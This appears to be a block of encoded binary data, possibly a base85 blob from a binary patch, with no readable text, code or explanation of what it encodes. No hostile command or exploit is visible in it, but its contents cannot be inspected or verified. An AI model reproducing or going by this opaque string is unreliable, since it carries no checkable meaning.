zLjiPTjpGwBQO0G4^Cvn#)5a(pTUc7$HR9$wAO>~`JQp5J&RT6X_Rd3)QkJjDj z$i?-HK$XE1Z(gr$ftdH!Hg4;nxS0NZD{H1Vw>5wjV4k0^zH5kSx;wU8P~h+gtT-*r z*wglCDQvY#_*WA(rVZU>7x``{m%jOT^Y(A=(bX9uba)F^5kO^~-RzJr$oc`DY0j3L z!;0FU3*#pG4tchWdf1q1P34WM67O0P6q4~7zbcp}tvN3AF-&eI* zFcs$&S=E{=ej{z4=lTN@Q1^RsR+1eWX9L8IOx+jV)migN>%CRWCaW(2^Gfy5#a+V) zc~eD#-(yxEV4NAR&yyRXAx(LH^X{Ss28#}5XI~A(AE%cpl6+(&|J4P|6s|q#a2680 zslWN|$85A%7Kp-pF2c2KSog@HdgGv`(EpST@hVLO}Va~4sGW0Py_A5aL9 z5f(vVzvfA=vDbn%tYJ5Q=*++_ib2i|>vf>oG@Cz2Sn{idHU5koB4fs7H=GAv!MABW zD|XGrOTSf=&LvN&Q}TcNw5v<~x+_=Jf`jz&J9ikKjQA9HLhugju!!~A=rMz5!6UH< zs2##!PTx@8#>#=Hxk!nVvPi4f#X5%RSHP!~_K0r6m@|jLn#th0y=JX+*}QKIEC5b!HmppBr%K zAb6d7Gk<0a{ord;&}PrJNzldU5e||ciqH;`h{*9H+VaP783Y>+?(?ue6Xt_eY5TtR zCEH_4-9i^mkfnAui(P)SBb;-j9hn#K3#_4krI6PQx#-Za*#|YquvS@D?je>7r9fui z)n0h{wpHJbs(ySO`{*Nv^b|}oqP9{yRj-^WMkhlaBFapN{Zz%)sOEW=D?BTua)0DH*@LaqO#J~$%WzI<$C8o-%-dZ$)7V;fy^ z^8@a9pRH0Cp@{#6j3U}Rl_v3!MrrG;FPoa+Dj>%unK>JLk=K+wuyo7p?doDpB-hr5 zu59&8_#)Sr^M3B`ul*znb`bReytbdcHi$N{v!pY3@RZH$5vr-_RP~0tGix(wZQbST zW}nT;oG>ZRx1d%&uc{}4TOXexWNTuICE_R*As0_GVG0-~5AD-r>2@3cBL6r$U#jajH$>nv+oeCqyvTBrS6s z(EE}{WW9d2wV`XV4!E}EvJ{F82&IBB9=#tzAb0-FMXCuOd2rSapkJC43@zo;Xt2zp zH&-AT02!WUFijt+sgJ^I(3VzDYIh%G4ILz}Frd@yR+>Qy6P(qC@j$8EfUOuaP`S32 z0vW9pDy*ro-GnS^2gq*-MZgw)x%W9s*2Xy4h%F(lqJxYP6@3y8Kb_PRN0kCGeXY94 zaldW0)+Tr_&?wfAvjaLEM~TVJzF)3vXj0w>gd16I`w#v{5=X&M)7EPsV)6Y$%};yw z)wD;L^cbM?cCtd&-u)_Y`$f$1J@ctT>Xn~0N3x-N&8Y*<5^DnLQ1nOjMXdANX|Qq) zvF@<%iaMsroMC(R2q%=e+FR4p`Ghq35Ov6paVW@r@wS(5!+dEJuyQ!NpHozo-9sMy z19ql#V?21(8$!Btoe|bcAAn+A#ukRY)ZizGWswzqbH>Kcy<2U4BfLS8{D@TlAn~JBWv)kCKVgU?*#qx4CS*`vFGFT`t9?aj#34d z1tqZ)x7aLO>AhHc_=ef{??hLj ztV&}h3Z`=L3{#TjxxX9g;=qpx!*;Mnybd*Zyv^atIor|Je#{ejW6pWL?bd_5^nd+K`=-gx7E)iyj>T6Z9FY!r;JA5P{MnJ3L97(z+W6o$ zQ3)hfgN}cIiw*Q(E1l6>j@+!%*@ig4@nfZeW3VSLnQxd+`l4pHza z__%!6MVIPmsk4S$J(v$1m(vR=ZpnCNtjZ{APr9$AJrg;PKX%q5s%xgrWcBfFLmeO* z2`1E(1^tg)?>+n<0B=L>j^t64|3}|O{~JJ>5x?os4@8VAQ@7j~50jTll~?lb!m<)H^Si3gvkJ|%f2s>V)UfXji)re5bW2A#e zeHdIF3a(BbJgV6R4I(8x@+CKYPW|PhqH$&6)#qx-EwdKfQ-e}FmEXWKEW<)PQtCYN6g|4 z2j25&|Mt^*gn?e5?~&1I@I~B;11g_92)st?)b?udVoWI;jJ2-Lq%T+(Z^GIZJmMj z<-kq{mSl#qVU{Z+>aYiYXjGZXv1D+y4Pr_87$@FWgf1q#rYTD2nMnCF#a@Qw%G_NM ziLxz!^PL*O2W3d&UhPwk&TY52pz~70H|e7qE%3V!1$^M#j_($BCs@B~LNi3vvxOWA zWJ{e@r|rZPS{Pt=q6Nscw{h~ZaFt0Y2ZPN7)4Yx%zM6J8R|nt#X%mY@aZtWCy=yHq z=~OoKoV$BC+;yJVclD)ySlt<_4e;llg-)f@kE zztK&i`j+d67pKs9P>S?GmYqXageDPy`9$I87=-(;RnAKFV^ma<> zw+MBvr>{G62J4b6Ba|ylD(Cx;Et`cN@sKh>K8k*OesN+@dK*6yk3)5 zx`mh?5nO`-pjK0ZYg}H)6|HBJOyQMx9$9g|OQoF-U2Xz z!DMSt(GK^9mg16j2Y0dUhBxd)eFT)MFF$6xU)GUr)k##nZiov9>vLZD*J*zu2rMKW zU5F~ZF;%7d=K%XG>|hfyf-o#@42ABmYMm&vetDxg73+bzSn2YV%^ae>ClcR{G@K=N zO<%+v3iN}f+WI@YtRGR2*Os%xogV+)AHfp!6y%=_M#7`#u zQe>jg!?VL1+Y}{FIo)uCNdjY-HrY}Olbbq=>n+6P{0?!47i&Mbacz2RRWa>t zSjUmP@_|EzASq{of@KIKW{wpl&p=;i%rZ3Lqnc~jUu>#u8pEqjWeb-z6C zNP{yw7qH(=gHvtHswKfVL3@lb*I~;O?)orkvq^l*uwhj1ThD?<{d9S<2I?uFaW`um&%k`TI7W*e7d%tnT2I(uw4gDg*bRCRyUIzG90nt4XfP6CM=T zBfm@#O32iMGJYJ)omv%+3c6swMlE49p@JW}8WK4pAQ-~xShGw)}^5E0Ui$OfL6Kvq$e zqs6#9W7fe8J+?<=6Q0{Z+yK)=;jrw9! zamt7;+%7;bx^)%Tx?*K>cD-EhVj>z0 z78r9e>a-jUc>eu^e>X1Bj$#?xSoM=?2b{atRRC59>{vMH>CIFzXT&PJK>p=J&{+B- zWOB;kdfByq#r2(du4JcvLdeCBa8143ukwqG#po(t>mM`n2UnV( zjbMwwZUzuEOb0R4+r%EH^&3pz*m#_b;^2&M4DVtOiQSd>iBem% z?wd$@wiKsb*)0depBX~6_#3=KqE_4pLEIAWBCs-O=O%vv*-SmP1&YNxikT)9ed}Yn z4Z(CJ%7vNrI*;V83DNwMP{I_D6LI5n@T1miYoVREvpdLxRhhAoj17c;x^oXu3ozO} z|BA}E>^!EWKi}?c^LV53Fwg_0u!Lr>LxzD7(_SVp&QV2?@oY!kX4SA+Ssy|#*BrQ} z8LJyv9dyjj1^yHlW?gfeT4ZjniqY4w!Sqc6V8le1Tq;%?OMF!qdN{>A6FgBjd-Od zQ)j^68>FYmde(M|%aQT3Liud1^wLGmV^!tmbQ3NX-!@Vfm*XjT?HNVrdKV)U{c}z9 zWu5s;;yR9Vj_TzjL)$DEqNO*#S(jq!e%#QlZVW`05)-VqzYJ3yukdL@?UCwRcj93U zJhH6!US*d)JUn2mt{E@!>-VKe(&F_}KMZ#c#G`E&7fcRnUu2%hnrt%p4c4;l=s8%m zrv0uVsEci1PIo_R$tI@=+9Kl<=iFXeyXR7D^qM<*h(Z3)jrS3oUfk_rhu9QQL<;z_ z%@dJ#HN<{<6DDyNh9W`pLrY#QRo8Lt=T^;;X($IIFP3a|a?4{QGOU6tGL$w-8vUDh z`Q}4a!##?`S&99)iJ{ZYNTe&J0slp&x2OBcU`i&{^xz0%gF36(t9m*`4nOTSF-Ofi zvAV`7R~bAw)SjL3H~j@d+{=3~hMV;p*LY^F*zZ?4PI91bz+B!fx|gJ5$?}J*pNcCz zU8#G0q)J&p7G1&ho=g$VaUM_lk|@or44HTnKayg_c&cs(6!}67t`~FgwAe3v4ffQS zE#+K+)I>D+J|s7!4cZnux>HT3?8Na!XV&=$CYZiZc;)^Xu&jpluE2RS$P1ATWPOvi zs@9DlIQ%-DU-oCqN2-CKfWh zjbW2AN={a1oF6J`6zF+|WU>gf4Af3uR4`@)5#*X{GX#pdm&&Y+H0LNSGFE->ax{^L z6bu|)BN7p0>>cu_=x&xXPsO&VtgpO_tP#1r;cQS>uwh7wPP#?{+-!)OFv3AAYNI1j$g{43=y zylwYM_0<$j|L~{PPnkVtROup;sQS?E^4;cZyi!lnAGfyFHKr@L-in5zC+)l2HLSx= zzg^AIDKePS-Y>seNDBRiDOc9P+hz&k zp9c;WF{BlReGxTnzHJy&smXh`>-EOp)OJ?>J7w{Y;;h>H%!xK!~)|cMmr?wK1hO+*!}t+*hA=ssCnSpOuL}s zXD|%C*RC$N?W5I-VDox!Vbp%qR|K6wo!@2lO&pI7)r=)|hz+2*Uz1wKraNp7 zLl3gCP=|#_-sF2loCw=-@BQ_br`$i`QV3o+7>$AP{>bZX0%@%s1}B+P5TU=8!+S@~!l6v2SC(bd%vcTC>h9|SZ3a4Dd!5>niSe@Ho#3EMTnk=mH^$lm|m=@~w zAglOUarR$Uq)_9AMcp2%f0y0+l)9b0(^VTs3~hfJh>$)LDiwV*#h-ZeBb~l}Dz`rE zLwt8_JbCZQI@XH2+bCcKyfaj_D|OZE7$~8fRDRcDe}UYX+Ak;*a=_mez_+QTaUhRr z{++P0Vjbvcqg!Xi=)4XX3cucJK3e{0h{%_lva%!RARo{A>3N-CZTntCQz znEnCfw2T#nUpV$2L@nlcrF#}n&?`hzhL%P=tN7hVdyb~7E;B$S>#6hg15V`1Qm8KA z|J#S03psFV%|iF5^&pW-FWRHr`%)Ln^uD9$xBPr90NndmF*;v0F zQuj$0FF?A^N;Vro40KMx2UaDTredmW@Hiu}5&f!GoF(i1^pj4SL)^7`$yaAIArHj$ z-(6qY?uE3LE^T`8^XM}Kvn1&1t;w<-Z2b+D?XeE=l|A3B zNv_F-@HIr<*<`llqZxd0D}L!}_d?TQT#q_R(9xhK13@D3tZBN;N1ZwUVu4=KCxGzf zv**-`-#=osjYwG9GI?|l*51*an1!h+i33MH|74K`rIB8faeFq4xZ(1a&zT;khYUDH zoij&ZNtL4^H?LHYG+42Jp|N4xm=ydq5neVC8z_tqLsT~|J-!pjzCl!6>1s5(c(9D0 znR^>kjVr5U;q{Ah^}p}JLrKNLb6VgRqwrrHysb;PP?fEk8${(q9QbvRzpQ9fp(nP> z#9HzZ;1U)t{s9q4Ja0X}!b@9Cc>v-;pS_rfI(%N$G#cX=rbOCb9Pw|gk}~VL6=VM7 znbn)Fr8HlU>2ISnE1vKfhA&!{B>n**Ijde}-KRRd7lX<2zFh<(cD@7!wXeIEs=>S5y)4eK3$6mn&Ti9ijJ0fhlKz0kmF%vg<+5M2 z&poQ8Ni5uq2bc|U{@Iw2d!Xle$BUwBKR6U^U*1^Ef2XQmXzXOod=#&*z)0`}1Ea1? zVw~R}e-WJ6@XWR$ta&5?o=|Dah475-Z+cZxB4#HV&>3-Tu!wie4j>@Tt&;^#*zN2B zcev~@?)g*D#bRPA&0Koi!|VkoZ+0I{qgf#Sr5Rh-X=)+9xu!P9HQx*7Oc9;883KzI z@zNSXOlrK7VPj#C+oH=}r-VhujS!x42 zyN#swm9rVbM+I-}{o5;!pxO(Y742L zzCCqp{(*=2ct?uS{5I@l&Vd+wbrw?qpDe14Ls12 zVa%S`FCQaW7BDEE?;Dv0R%7b{GGuDHDOcj@?xK;gp@bfk`u13oZ;x2hxmkwy7h|Vq z9Aup<12+*Xd4}Ghxm@*8niRn&^B|>E7a@kA-M6}Q%Z=f)AC8%tFY?*;Z3+ibjKv%o zzTjt~?a6A%t@WEi&5<_=tqwUJAzjC|wTRMq2P+1f-^QIN)q}K*gGt#kzhk~q^%&OW zEX3c%{q>_di2AW)jhjFKOQ46u&S1k;f6u-OmZT0uC&MKNYxhne3E-&F6v96znB%@5ouL6@{$F4ehC&Dq1Y&Xz#Kc1yi#^ebC(<6V`JNwo@5`+ zZFs|EA^dY>jQ122bl-EHH=Wk(k1Z*VmNtDaN###}8GdJGwc?Lw?WS9zCH{6qYHvpB z?O>bmZT%_k@Z@J)3|9EuFjbc_n`*qo4DBVFo5b|#(mt<)d(ln{Zp8$x_gp8_>XY{r zb9C<+-@CMJAq}YU;9~N5cYJlN?^s#V#fDP+h`I_jhz{#AjCG*I zN4dl%xw;?bdR@vl!`K@3`eGdA89N zJyBa(Z$^Riac{JTT;Iwy=`Jk(tQDAt=zl$UD#X9qz(K! z2lh6!!d{s`A&Kg?EA&fK80W+T#7d`rf^qU=^nFnetIMr&Tpi0n{7tB1?ZLk zyQzIX2U2yh6I*w3<9#5tHj2;l^_z$ypK1*?MY0~7!G-1<=7+5h@{84txtGOh!$iFv z&bK;S(yBV9&lhc-O=hkOAD8G96l_Qj2}}2}pblA5SF81Ez^e*4 Cqdq^A&=Xi5S z%8?_CJ`u0NrOes<*{sA1VmBZX0W_Y>4QcyC>n13TRSm}>p=(nX%?Z02lhB+-&%ILi zF#%){Ee|~~P>bq&J}LAM%R#n|9`aX{_!f8u6`Fie6!+QrzKQjvX4)xj+2V8PJvuqV z*tG9&blAEwy$gqe`7whCId2 zyRorr!WboR-bI#*y>xWvoQ?9C4IX9I>D3jE+Z0RpT1~A2!YDwt!@4Yu*CK#H8M=7& zZ#Pv0+^|kL5XTke@Or-?=glDjPo5f)`k@T&^;0+zST#}ksHM=xePxa%9ifiXyfEDy zMn=6Ob$qS%dcCp+iN4mqCH}IRy2U?45MVzr9>g~QSz5pv3wu#UeWX3)-tyvDg@hzA zTXU+aj@tX%9?MsHpP?rxvc?6!3XIm=CZ`Udttd9*9)?|#N8!+@;1PuFh(pyNXQe_r zDeZIY;kwjV3bB>CoP-*G*yUY7OEDm87?sQVNm;HiQa%thUITyDwl5JfHkm~51T9cr z6A=(2?F{)e$==+hm1NZWBC^xd9>iowh4Ws%2T@vPvBF7hM5Ux0KK#nNx~4vX zG$=Bf_2v7}qORxjZ_n-x^~iIfpJAo^+EZ1EoB@HNuCY%aN#!wAaZq@+#eEt$aZDzz zIa5E>y?=zfY;DiIN&hPQNk=5OIak`hU`HpNt1)bGHjTFVyP6}z`iFN0sB~u6X2SbM z_K`(KOqWp{?3+^-aC;Y_1LfwgU38Y3k^_NnD72+z|7nfQIJegGdpo|edoTZ=`)9gw zHa8Ych&pEM%87n&G`MP@O()xDRt1<-N2EmDl1K1>}j){5}$f__!*&lCC zYcoa}Pq1?IEA{9R(<%o${H*U=O&Q<)JEmF*-ZnIx{Nr1B=l;AM?7%)eG~S7(WTMFU zz9%o|KJmBiwXJyBuA#ekj~BeXCgz&Cz}X7;b9k~!9}at#HosfQ>B_pi zALyhD=wpB-)X`v?+9ot?#^kC(sdPsEfaC=;_%zFAXI0+Yy~tjFzeVxS-rZQY5hmvv z_0BD_rcMXL=1d~ENNMzDd+&|$G?4gKDiQXg@I}|r=H~{K`A+nFUuOv4D39U%lbVi^ zz5S{pRy<{zCc|pTxGac>@~G1hE8!BK@poUYi7+A0Z*ggif~+u5Zq9ZxM??kl_Z&T& zUAo8Jz*^re$FHYG=a#)%-f{2tnnYJ_pOk(qA3K|~J_zO@pm-4ECP>2{YfnfC@jAi(S@}j?g*|DGTflpJ4sA``=ep2iY zXm8=w!00}9gG1$9iJ#3m4Zo|gz?AFke@|9v@8%~*?F?75yY`d+P6)O-|LzYlG=_f)r zgHZMtwBJveDs_xWwaSx~&GGP-n}Fs7k1Cgc&6BF-#IB&LYwIyZ-5eEn zhK0RAQRRI-&KH-)DL1*N_GGxaLbkn~VFR@kWBp}9I@QsADx7zA+Y8bJSJGNlfNGLk zh|Azfy!YMC`plk}_JQ)ZN`k;3Qd-oKJ~B>Au!kpJ~9^NC9^^d1PLq#pC_no88b~+OejWNmv;@C5Hc50|V`1 ziid2S6T!*N@m!RjgXGknx*g0mD{YaH^>~@TGmsCdg1kZ~*qt?!8kl1`9nH~GL||DQ zN!Xpj#es(sEJ;oBHG2B5&`k0*^K56cImw%6zDs=`|2iikASNai$Cd`?$_txCwXwS1 zkW>I;bhjS-FWmF31t%pF33D{UQc1WdBp(nbeL=S41W|>$PGtsEaNTAPiv6Lhy^nq8XW|>I;`Zc5KOA(!tL0wEhj#T@kurd z3+Ue$7RvM1psE@BycBl&VMqR{uWgGHO7DKpgRbSe9?4&l2-A`muPkB6=8P7!?NTBv z)+>}QPFBXl_ZcAwlv3?b6Dc;JJx@j6<|4l$WbzG2EZx}GOBFw%rmhtO^Q4#mr{q^Y z^NBJ$K5q(Ra^)n(FGhNXIqK9$JklDXpZy=n5|)T2Em9s4)x;I~w!9mU@f)~+qW{bd z7uwWejeD{9@Zs8Hggb86nEL0+5-yUry62zXZUA~4!tgCrsE=gJadLD|1XjD9+qHSB}qhvr#+Q;bLd1np(m zw8y2)Fev+H1Bm_i4PX!oYygzN1^_I*IFl~EEXurTyvh|7yfxR6RhTqMi_j{p3@Ew% z_Z+09bDoWxj-1;PcTIrVDaCY6K-}Loo)6F&O$=?ROzf3J?6;UfPZ}N<2_rfBpAqkW;#ocGt)oZ@+VQn*iObr);ZdZH z$(cbS>HhhFq&LyOEP(-;%n@mm&AwgD!@Ic9@6OvNZRsv{hWZ(VI`eESL1^>aN-}>e zi&kkA4=MGpsMW9+CpfjjgNKi=e5)dLdX*;lfJ4x&BE(=5){p-~WI3)1MP4T2G;Cs= zkDWy}G*VQpvL-=RQ>^A;lh&B(UCv92R`i#G$Rfg)Q*?PIR+I4!CKZ#IcMO_ijspEKf4Uo}Rj=2na zSja_AP$-NWQ&9Z)ER2E5(DE2qnIa_>CS3ZN6V-r*Ur*iCsSN;T!9^&lxc8L7f8I2rS}xj%)QNh!AVDp0Z=4??Y<*aZyx)# zCr7JmewCcC9#Ga~=viblcZQeJrC&xQ{0<*!v3q69GuLxbX-y(Q7bicpJV{qe@{;!& zcPsN@S&?*WwkA0YzKR~lc!_VKw-2klK^pO7y%z$2Hvrus&wCy0thUEfzEdGy&x zmAb~>RhiUcnq9ULuxA9u;uGDc3cVy0mWRfckFoHX535Wzu zCE`BA-03UMej;S#bs2;8+QI4D?M1R_Nc9|*sW$vW3z(IREh~zZlaa_W;?S(QVySV9 z6hrLMLRt7f>{YdYXy$2<4_B5qJJ;tiuAE8i=P%!fZ=l+O>L_u%($)FvjV`}Hw*tprAsM^$AXOR7&}?=}0&K^BeLEo{U$2KNG=AQUNRT;G{z^y%{F zT#Zo4Yl0avZDC*ZG0zj0rSLO_5mNff=F3M?3@xlyU0UkIL4}Ioj}H076L!_4_s0l7 z6KTqOY|o|6VNs2W#)pxo>Bc(E`_+h^j(ZW?N+6$L)W-**AM<-lIN1Stm5A4O$EI7`8Z`4m4a) z_0HW%V5WG=Pr6nY#Rcc09pr&H2lBMCLL|9XtJuW^?bDxybhtb7cUK@+dla?ZNQ_f3 zAH@N32CGv@=j*Wpd4!;|>v|tzEzwGB z^#b4^%X)R}D|gM{n@&BL>zl@OSm$2CI8#~7MlpoLlnvmTYDN=&^4M%BPHMXK{IF0v z^t!&sF(&L4bKJ&~=@m^T-@@Kf%!rK%SJf0>Fq}pOfW?2XxoG!wDKFwNV|i9;Ds--a zBg7I>v(%I9f9PMe=WzBp;k!@pHJ;~hWpmcRpkN!|wn;}86g$$c7p=ojI8w+wOimv)Wz&gGt@l)j7B2?ulj zoj@Ov&zf#s`M2}AED?44I$sEmS1XIwvnTH$Fmt~d>~Mcp!dpj8FpVFGsWX2zdbAbc z;7Wx8uyc<#GqK$AHUc6#7HxYOIJ!}^x{sRHK?*|RuMXl?7GAS|oYRI?hgLt`+fRp0 z$=Iwv)_J9$u>~1%<7BYj?d7xf(uN1KbH;j~HBJyKmeL2ZVt~Ia(Yc`&3;rC$L-{2x zGWHi_w(JLLx(mNpq?_(^iQ!ADW%OvES z>a}$#ynM-bbzN1zJtovt_#jKD0r;u@hb|1>6@OBj zMcRt=ecGlf1p~;wGnh^DOO%}PqFGkyr+U`ZDCuq6k@(eS3~f)XiSrNDl6vY~n8ZjsrF!Y`rB%!awfGc%toDbdBtv%4t0AIUOHyoa4t07Gv?v zpHC^i#nk8cRpD*T;%j+wq}XUL9rdAxUsO(teIgOiDBnFgzfL1gT!pY`huM^6rBFc7eqQLj^5dP7FQtcu5*i3QuW4dqo+bWu~o@v$T3I0Uc5h!%*HxluPTXj7?! zQicU-eVB5t=VY51-}TH9qyr+NQz#Fy+emdqMAsdyffAjg8g9=PoSLL`OOr zbnzWG{Pdr&qt*z%Lp*(Tw`dasMs|UV`s#!i9r6quhuq`3LPqf;^0a6CAT4O9@6{R0vw8Txm?ov8A$ zKwMEbAB_2WElg6-+2#`e+w=18PPn|{HCy~6S7sgV2;csO*5B2!JD4mrf$lH|PPCMo zb<#}=v$s{|C=0Kaf?TM~6sGJM)7b6!YQ8WUK%i%}j%+_i&UxrPWhm`5qt5oq?g3U# z8*xqR`B>`;4bkjX`ctNws+NFQMcwBJmC)A;8hCpFibDMwij+ZPFj%fHBu@{}FIJH5 zLjZRAr>`{yWGv5~ig`V22S|m*+hayZ-I!Va&*`4O>VsGA-~>ve!4bbOBfHFnk%%&6 zI(7ME?55Dxl)cu5n?fSu3tTzM14Y-)bsv_yh`=q)O_)AA_6C3C5Hy-^yTr?45ZH#> z8`8eV{poc+N>*e-1E-yaoU`WC<6=VxyQHfU7FM4XDK+$=5|fQcp`z(<1~zdPS#x?j z7N|o!#WdKX(yC`3S4Wgb2(xw)ED1ci&4wzjq_K4AIF#k(gY)Ex^PSlz#H;sWD|qQ& zye4N_+h7sCdl6T?KRXAz@uLZyK-~WUsroZT94N>i#0=y6Lu?N~49r;PdqEBkWRU*&*h zL#{d~H#v)tMT^8|QhxPWp$~(MI(`)SKn{D}>9zE=^r53h7wpDh zc)|{Zx>~e{bAEHb{se#=audaSsn3U4Lhj6*eX-9@kp?~&2)-NNM#R8r3~$oFfIEGJ zPlh`HE<8HK_5c!E{X_k0IU_3-8o&lm4Byo?aB`f#pW85vQNwv%Mtz?azjpyYuLa;W ztaGF46M*_@-rhq{d#YOK+@o5j%5#sOj2$iEca_pk(HE+cJ?ZQ3UbEBunBuJJbyKcS zzX&8CTlAl>*xoFg!-bdkdArD6VU_n#a9%HZrYF;CbuQ2;#P5ugtmAHT4n|j0r|+o0 zuMC^1OmcFjuRhSQ0cVEv6~e9Bq~Y2l!Uj$ND{R{3Yg&9;YBDMIVP#)!zhv)_3H+6S zAl6`z>@jzH%k&!wC?8u{z_1Y?G2WDt_avHg;R9x>Qanx68 z>+l2|_^^4=^8iD*rQcXvl9`buGwO{zTaMOc^c9(g@V1K#)n2-jcXv6;yJipO^*z_B zYw{f#PzlJ@Af%-E0m7hi29nP>dxjspaMgQ(__Qr#$pfyI*oo-L&8(^=nAIC}Cydiq zi&m~yd~9x^?K&c{>r&i8b8Hd=-3we?mGQi=sN-&~D#wtCXtJ2{43CQ_WQZB%kH3#u zO(}b_bY=U1P0bJC-dnB@+?3fARt*~_i?E{_AuGBXJIsPtrD;94>o?0)wKTJ0ZIH7L zTizEkT}VyOW(az>m$Lr{1ZY@6X?6hCrPIHiY2r@R%sCHCUUeCM!7gEg_GNY$wJkIt z)WxyxH-<1O8h(Hla*=h+m5eb8asDHR#%Ab95v57;bX8=TG-E>}{Fb91Y{1#_RIX*gVCHLfL zfIASqb1G_DWNy9XRucZYs&)7tZkjvX{9iCzrw3JaI`%mkgV)w8<5%iz2!F|GU^=y# zgS?`|cjJ%zzn1YeE3q!9jnGIePR(_@Gz>4SaWT1n6mHRLN8miN4@%yF65Ncm zXW9JxpjXkJ+17K^dFa|lsV(aAP|ajoNC0klcjJ?IK?1uxW>cpR7uI=8s~Jmz5jW;X z|679EqfFx%fHR!I1T<#Zx@lt<4~OmEQK^X>`S7{fu ztHM677DjgdCv!tl{*(LR{>L#2-v9YA3O=s?Hb%iO_;2;){s&9Q2@COY@&E4>r9gR& z^7&s;ivNE^Db6LY6dlgMG>?%N$wbpPOKqW}&)@J6FQnKW#`rn>piJjZcMhAI_IXR3 z;gn#LW2>9kYDwZeXHa5yF>XcXG(wmf$d&sI@d;bw`XCAWR~Rl zVG8@t*{rk{EWzTWPOmr#Jc!vHw1f2h_iS7r+15<@TO(f|kbq*z@akST4d2NJ1*KX7 z`HA`0-_>{Fcj0gozDbxW54*s?rFNoLwO|6$X5%H-@u}bW7)_H9nZ(p6fk*lukm58S z1*!w{&jOm}AS+iw+maPC%SWjlK zFhcCY=oxA;D7A+TI}>%etX0j5t_2aIAz`Zr&p$EUPs+_r@en9{bRutvwbFh2L!ooN5$%oLi3l1a+*0Vt89^ODT*21p{1+$n{kDouDQ$*|IX0|gh%)}TS zKvxEfllYj+r+rfPsXDtI-JjMGJRq|nJ7iB8xrMQWiyJaRTp;$M4p$0%X`*kFA9ple z474lutY%hLQM&ZsB>Q$Xc;RH2l-Ew%pABa4kg=C^?#c~r;{36Bm&IiU;U8uU&1 zsNtlo>|Q}#4Z*%TtMhE(lxV%1_|;50KA&gTe=&N$ZL(N-a;H$kN_AX*A}GVHaOnvf z0mV{hKdLDcTcdhqO0-R$SJB{O;8zIL2(@x1>eII~_&7>ouNm_S)Lb5MJ7HLSY3h1@ zCrLEpdr!0RU=eB66=RbOEsdf6>F@9FiWb*Rl+`zTSig6vCQ;azx?;i@sg?zLUXSyG$qk;*Y9pMuAM=0tg-U>`IQ;w|cL_}8gY4b&W>cz6n3 zjWpOc^sv$$KUd7EZf>pqmZi7$QjF*K?c9&wLddG9>KQmmp@*_|hWyb(yajZ&9VZ%+ z$_K+{Rb~`wU$y8+brP01uPwN8SAeZl135L}N|UaN%SIT<)A}-$_OGCI1wzQUbAI~) zq`SXc#*rdi`Qpx%*R_m%*2bXGhCO%3{cW)f8Q3Kv@7moHobbs>2|x9{JFT;NV)t<* zG2EbPtQx#4{0kf+uuJ@2`?kGPp`Ia~#9fV7wdE*m0jypKJ^E(gE&PU_av#s(+Bsu& z3E3kG!|v^rPsRjWPD5D&MFpzNna>cDWer zt(pC`5Fae_Xi;9?f)SL+%qYh;vFW5c2LJa6ZCE%|2I6a#FQ2b;DPU<`%Af)fMGMmo z=qI&br-Y>%V09YQPnU8gC<5~KJ!2iJY^Ta{$5ZOYheJD8zOCGApTCU!Ktu4xjp_L{ z5x>K8nF~(bCH-(<0kN$mUKK6&Sbc@|1)`4@L5e=gB+Y=xo4(Vm~w0#^1328}9%sc7~_H&yeiBKe}%Fuo<){?n6{ z#6gl5)37pUUy4!Zyj~0X-bb=nC3{8|-`bZhJ$pownJPC99(HZ60+D`$r|_d!>TAZ5 z7C^xk^57ykv9h1m2;Y#-{-tqk#rf7Vo?Z;puxVp^1VmJIsswW20Chk}zTD3qnR1L_ zK#?QF$uBr76>tdF>7inZRb}2e=v50>cbn#mZw!0$J^K}jR%EOfH>p@qfN?Amu5;s- zW|6lrH_Kiu$B1w6LXko9RIV_URy=g%CGwwIWxuQMB-KyrsmoW5No3PLOmkw_yc3RJ z^?${si0bp%PGxz`k*wQELi{+mFwe+ZHP^^M-$oEh(NgGcKOqy?W@i@v_war%>1;N(D+X{%dt zU8}3ZHO!Xs`oL03u?>WyZkt(f1%8|H_F<|Vn6*vm-F9XAdw1RO(u^Y5Yi20>5ebwh zIIL!!UZxi`A!oxBKsn9M|7$r-Yh#CdhrhLic5eXd5iO+Kt14L_oPD}Vng1-}x54WL z#We(`Wha^fyd6cF#yxil3{)AzY2013*}{1H--8bIAi1{g$t*$q>`V~G`bh%e zrtm@o#(0DI9=UTJ+Q`}4{9Kt;)2BOL!A;5M74mG8dbzp7`4`>OVTC%DkIlbW^p135 zwS+{;vip}w1H8cR*Hpxrt7!zCds)i=2XSv16xX+{{gR-;LvRTMhsNDCcyMxHj(Y8Xz>%(6|S8m;deT{eHSt=e+xzs#}*T_(bBCxGQ_J5r@1Nh*BUk*D|ez0H6Q_37^3PXKUZvyYX(PH zjg;*1+$BX9+Y#)#vm*eckoxVWfayKe=R8DbMSSFA062ds+7Bp~mGoL{+!;EsT}n~Y zK%00@lDbqz_&SL=~X#BUHLS#FO zhfjsc>SWQXscZm}lD0}~q#2KWn0DTtnN&w}mYH4qRU|uOl3aXSD{HD8*;X}@ zSH8xXTBPN*Cd04kh8Z(|fGv=H%C7nDjGzW<_%5CjCi)+JDdhjbH0J-MGOwYVA0QwF zHC4BrLvmeEw(a_^@B185c5Fq-A0rm(zQ{H|{sd8ecJ(Hj>Z2XUcB65w%>C@n+)b@Z zgC7tv?nb^73sLK&?5IzLUT8vXE*MDEeltw`F%l3>F}5FbdMJk0H;5Cne-i!FmHiAi zfTdK=6bHMyBz$np7@{PQe32gT^uE=X_#dPOHpzMpzG-LT;}z8A6f(s{3gQ>F@))Dp zUt`=1ZdO>TiCYr6JXx&DWJ~ch23-0Jyug6;>cfN4ZU`5|F`a->(HwlSI@>=!s834UH2y2YBm@aBe zr%%j`q}l*~OCi&&K6mzY`Ljx7Z4SaXnUOf ztrcN~W%O?`M(zS6_iqA!suOC7o8?#$jGRhkWP3pq9Gc=J65|RGIT$3zsm!u3RdR8^ z_HxGhUKBp)qa*j(tFd1c4Nq^tcE43JBCd_2rik(Tq)!nfrQhpKYXq6$cM<%rzo>=R z4kyrQs|yjHW(#PgyG*XV7xE61Zp&gI&j(~54s-lx{e)S ze_@tSt3j$8AgAYkJHb|yYpr>6b7>HB60xUy%4h62$`?arjc%rL&PF+39~Is4u=WIq z?@fl3fx<;eej~Iir<<%l-!D-HY{nP5r^iLVt-~qb=QTH)B!3(!-goOp^cV1wsjgXt zD6H}7LG@MI9_pW*)PV>ohB#`JF1zjOyI1?^esD0Nb?Erk$Y_j-1Ggtdi)T>{T}vLF zFU^eWH@o|Tsk};bT3ySRiKHGYu`)U;!|QkR=mGNsHv55uovmlst>3hb?{M5KnQ;%z 